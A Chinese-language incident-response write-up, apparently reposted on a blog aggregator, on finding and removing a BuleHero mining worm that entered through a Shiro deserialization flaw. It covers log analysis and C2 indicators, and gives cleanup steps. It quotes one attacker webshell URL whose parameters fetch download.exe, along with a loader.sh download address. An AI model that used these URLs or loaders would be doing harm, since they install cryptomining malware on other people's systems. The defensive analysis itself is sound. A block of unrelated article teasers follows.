应急 | BuleHero挖矿蠕虫最新变种分析

news2024/9/29 5:24:55

背 景

挖矿蠕虫病毒BuleHero擅长利用各类漏洞攻击、弱密码爆破攻击。病毒作者不断更新变种,是近期最活跃的挖矿蠕虫病毒之一。攻击者最新的BuleHero挖矿蠕虫实现入侵后,还会释放挖矿程序,使服务器的资源被消耗挖矿,极大影响正常业务的运行。

本文还原了BuleHero挖矿蠕虫最新变种的发现过程并提供相应的清除与修复建议。

确定攻击范围

确定IDS攻击的记录如下

图片

通过发起攻击请求的IP可得出的ip有:10.222.12.12、10.222.12.11、10.222.12.13。这三台做了负载均衡。

图片

进入其中一台切换到Web目录,可以看到使用Shiro框架。

图片

使用了commons-collection,如果key是默认的则Shiro利用链为最可能的利用点。但分析时外网的ip已经针对此服务做了限制,没有办法直接通过黑盒方式复现。

图片

扩大排查范围,排查所有Shiro相关的服务器,加入了三台测试服务器。

图片


建议上述ip可通的网段全部排查。

查看、分析日志

图片


通过tomcat、niginx日志发现了其受到了一些攻击行为。由于shiro此类反序列化的漏洞很难从日志中定位。以下给出自己的思考和定位的方法。

tomcat 有五类日志 :catalina、localhost、manager、admin、host-manager

catalina

catalina.out即标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。默认这个日志文件是不会进行自动切割的,太大会造成运行问题。一般通过系统自带的切割工具:logrotate来进行切割或者cronolog或者logj4。这里使用logj4了进行切割日志。

catalina.YYYY-MM-DD.log

catalina.{yyyy-MM-dd}.log是tomcat自己运行的一些日志,这些日志还会输出到catalina.out,但是应用向console输出的日志不会输出到catalina.{yyyy-MM-dd}.log,它是tomcat的启动和暂停时的运行日志,注意,它和catalina.out是里面的内容是不一样的。

localhost.YYYY-MM-DD.log

主要是应用初始化(listener, filter, servlet)未处理的异常最后被tomcat捕获而输出的日志,它也是包含tomcat的启动和暂停时的运行日志,但它没有catalina.YYYY-MM-DD.log 日志全。它只是记录了部分日志。

localhost_access_log.YYYY-MM-DD.log

这个是访问tomcat的日志,请求时间和资源,状态码都有记录。

admin、manager不是我们此次排查的重点,平时用处较少就略过。

怀疑是反序列化漏洞,而反序列化时会抛出异常,所以我们重点关注,Shiro漏洞在前期探测时可能会带一些字段,cookie:rememberMe=deleteMe;

图片

查看异常的抛出: 使用例:cat catalina.2021-07-03.log|grep "org.apache.catalina"

图片

图片

可以看到失陷主机对我们进行扫描,外网已关闭。因此应该排查Jenkins。

但为了防止之前的后门,需要下载HM webshell kill进行查杀。

wget -O /opt/hm-linux.tgz http://dl.shellpub.com/hm/latest/hm-linux-amd64.tgz?version=1.7.0

cd /aebiz/docker-tomcat8/webapps/ROOT/WEB-INF/jsp/

当前目录执行

定位可疑ip、攻击特征

在以上的机器中共发现的url如下:

121.37.248.146/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http[://]fk.0xbdairolkoie.space/download.exe http[://]m.windowsupdatesupport.org/d/loader.sh

下载完成后执行shell脚本,建立git并执行kworkers:

图片

此团伙的payload如下:

图片

在微步在线查询为新型挖矿病毒C2地址。

图片

将kworkers下载分析,其为https://github.com/xmrig/xmrig编译后挖矿程序。

图片

kworkers、kappre、xmrig.exe 等均编译自xmrig。

图片

结合之前扫描的payload,大概率为bluehero的利用团伙。

线索串联、确定手段

根据以上结论可得知,该单位大量使用shiro开发,但是由于测试环境和开发环境的混淆,以及网段没有清晰隔离导致了中招挖矿病毒后被横向,IDS频频告警。

使用apache系类漏洞进行攻击的bluehero刚好得以横向,Jenkins可能为人工行为,且失陷。

清除与修复

1、查看UID为0的帐号:awk -F: '{if($3==0)print $1}' /etc/passwd

查看能够登录的帐号:cat /etc/passwd | grep -E "/bin/bash$"

图片

2、查看链接是否有其他C2

图片

3、查看计划任务、启动项和私钥

图片

4、查找其他C2文件

5、查杀webshell并清除、最好重新部署web

6、升级shiro等框架至最新版并修改key

7、更改系统登录私钥、密码

8、重启

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1550685.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【EI会议征稿通知】电子、通信与智能科学国际会议(ECIS 2024)

电子、通信与智能科学国际会议(ECIS 2024) The International Conference on Electronics, Communications and Intelligent Science 电子、通信与智能科学国际会议(ECIS 2024)将于2024年05月24日-05月27日在中国长沙召开。ECIS…

Electron+Vue构建项目时出错:Error: Exit code: ENOENT. spawn /usr/bin/python ENOENT

问题:ElectronVue构建项目时出错:Error: Exit code: ENOENT. spawn /usr/bin/python ENOENT URL:https://github.com/nklayman/vue-cli-plugin-electron-builder/issues/1701 一,构建时node版本要低 同时构建命令如下: "el…

Linux——磁盘与文件系统管理

目录 磁盘分区的表示 硬盘分区 分区类型 确认系统中的磁盘设备——fdisk 规划硬盘中的分区——fdisk 文件系统 文件系统类型: 在分区中创建文件系统——mkfs,mkswap 挂载文件系统 mount命令 umount命令 查看分区挂载情况 设置启动载入&…

CCleaner2024最新版本win系统清理工具功能介绍及下载

CCleaner是一款在计算机领域广受欢迎的系统清理和优化工具。它以其强大的功能、简洁的操作界面和显著的效果,赢得了众多用户的青睐。下面,我将从功能、特点、使用方法以及优势等方面对CCleaner进行详细介绍。 CCleaner下载如下: https://wm.…

调用第三方接口:Http请求工具类

在对接第三方接口时,需要进行数据交互,于是写了一个 Java 的 Http 请求工具类,该工具类可以调用 Get 请求或者 POST 请求。 根据自己业务需求灵活修改,这里写了两个工具类,自己选一个就可以 直接上代码: …

Python模糊字符串匹配工具库之fuzzywuzzy使用详解

概要 Python的fuzzywuzzy库是一个强大的模糊字符串匹配工具,基于Levenshtein距离算法,可用于处理文本相似度匹配任务。本文将深入探讨fuzzywuzzy库的各种功能和用法,结合详细的描述和丰富的示例代码,带领大家全面了解这个工具的使用方法和实际应用场景。 安装 在开始使用…

【技巧】PyTorch限制GPU显存的可使用上限

转载请注明出处:小锋学长生活大爆炸[xfxuezhang.cn] 从 PyTorch 1.4 版本开始,引入了一个新的功能 torch.cuda.set_per_process_memory_fraction(fraction, device),这个功能允许用户为特定的 GPU 设备设置进程可使用的显存上限比例。 测试代…

第115讲:Mycat核心配置文件各项参数的作用以及概念

文章目录 1.Mycat配置文件相关概念2.Schema配置文件3.Rule配置文件4.Server配置文件 1.Mycat配置文件相关概念 在Mycat中核心的配置文件有schema.xml和rule.xml以及server.xml三个,其中schema.xml是用来配置数据库、表、读写分离、分片节点、分片规则等信息&#x…

uniapp对接萤石云 实现监控播放、云台控制、截图、录像、历史映像等功能

萤石云开发平台地址:文档概述 萤石开放平台API文档 (ys7.com) 萤石云监控播放 首先引入萤石云js js地址:GitHub - Ezviz-OpenBiz/EZUIKit-JavaScript-npm: 轻应用npm版本,降低接入难度,适配自定义UI,适配主流框架 vi…

DC电源模块的设计与制造流程

BOSHIDA DC电源模块的设计与制造流程 DC电源模块是一种用于将交流电转换为直流电的设备。它广泛应用于各种电子设备中,如电子产品、工业仪器、电视等。下面是DC电源模块的设计与制造流程的简要描述: 1. 需求分析:在设计DC电源模块之前&#…

目标检测——服装数据集

一、重要性及意义 首先,服装检测是确保产品质量和安全性的关键环节。通过对服装的材质、工艺、安全性等方面的检测,可以及时发现并纠正可能存在的缺陷和问题,从而确保产品符合消费者的期望和要求。这有助于维护品牌形象,提高消费…

【Java程序设计】【C00360】基于Springboot的考研互助交流平台(有论文)

基于Springboot的考研互助交流平台(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 项目获取 🍅文末点击卡片获取源码🍅 开发环境 运行环境:推荐jdk1.8; 开发工具:eclipse以及i…

day70 Mybatis使用mapper重构xml文件重新修改商品管理系统

day67 基于mysql数据库jdbcDruidjar包连接的商品管理用户购物系统-CSDN博客 1多表操作 2动态SQL 项目中使用的为商品管理系统的表 一 查询商品信息 编号,名称,单价,库存,类别 1表:商品表,类别表 n对1…

el-table中复选框、展开列、索引

<!-- 复选框&#xff0c;搭配selection-change"handleSelectChange"使用&#xff0c;每次点击复选框就会调用方法handleSelectChange(selection) {}&#xff0c;在该方法中只要调用该方法获取到的selection就是所有已勾选的记录集合 --> <el-table-column t…

【正点原子FreeRTOS学习笔记】————(14)事件标志组

这里写目录标题 一、事件标志组简介&#xff08;了解&#xff09;二、事件标志组相关API函数介绍&#xff08;熟悉&#xff09;三、事件标志组实验&#xff08;掌握&#xff09; 一、事件标志组简介&#xff08;了解&#xff09; 事件标志位&#xff1a;用一个位&#xff0c;来…

网站可扩展架构设计

从公众号转载&#xff0c;关注微信公众号掌握更多技术动态 --------------------------------------------------------------- 一、可扩展性架构简介 1.可扩展性是什么 可扩展性指系统为了应对将来需求变化而提供的一种扩展能力&#xff0c;当有新的需求出现时&#xff0c;系…

剑指Offer题目笔记19(二分查找)

面试题68&#xff1a; 问题&#xff1a; ​ 输入一个排序的整形数组nums和一个目标值t&#xff0c;如果数组nums中包含t&#xff0c;则返回在数组中的下标&#xff0c;否则返回按照顺序插入到数组的下标。 解决方案&#xff1a; ​ 使用二分查找。每次二分查找都选取位于数组…

CIM搭建实现发送消息的效果

目录 背景过程1、下载代码2、进行配置3、直接启动项目4、打开管理界面5、启动web客户端实例项目6、发送消息 项目使用总结 背景 公司项目有许多需要发送即时消息的场景&#xff0c;之前一直采用的是传统的websocket连接&#xff0c;它会存在掉线严重&#xff0c;不可重连&…

PCB经常连锡?或许你可以看看这三个焊盘

在印刷电路板&#xff08;PCB&#xff09;制造中&#xff0c;很容易遇见连锡问题&#xff0c;即相邻焊盘之间出现意外的锡桥连接&#xff0c;这主要是焊盘的设置不当&#xff0c;若是不及时处理&#xff0c;很可能导致电路短路&#xff0c;影响其正常功能。那么如何选择焊盘&am…

4.Python数据分析—数据分析入门知识图谱索引(知识体系下篇)

4.Python数据分析—数据分析入门知识图谱&索引-知识体系下篇 一个人简介二机器学习基础2.1 监督学习与无监督学习2.1.1 监督学习&#xff1a;2.1.2 无监督学习&#xff1a; 2.2 特征工程2.3 常用机器学习算法概述2.3.1 监督学习算法&#xff1a;2.3.2 无监督学习算法&#…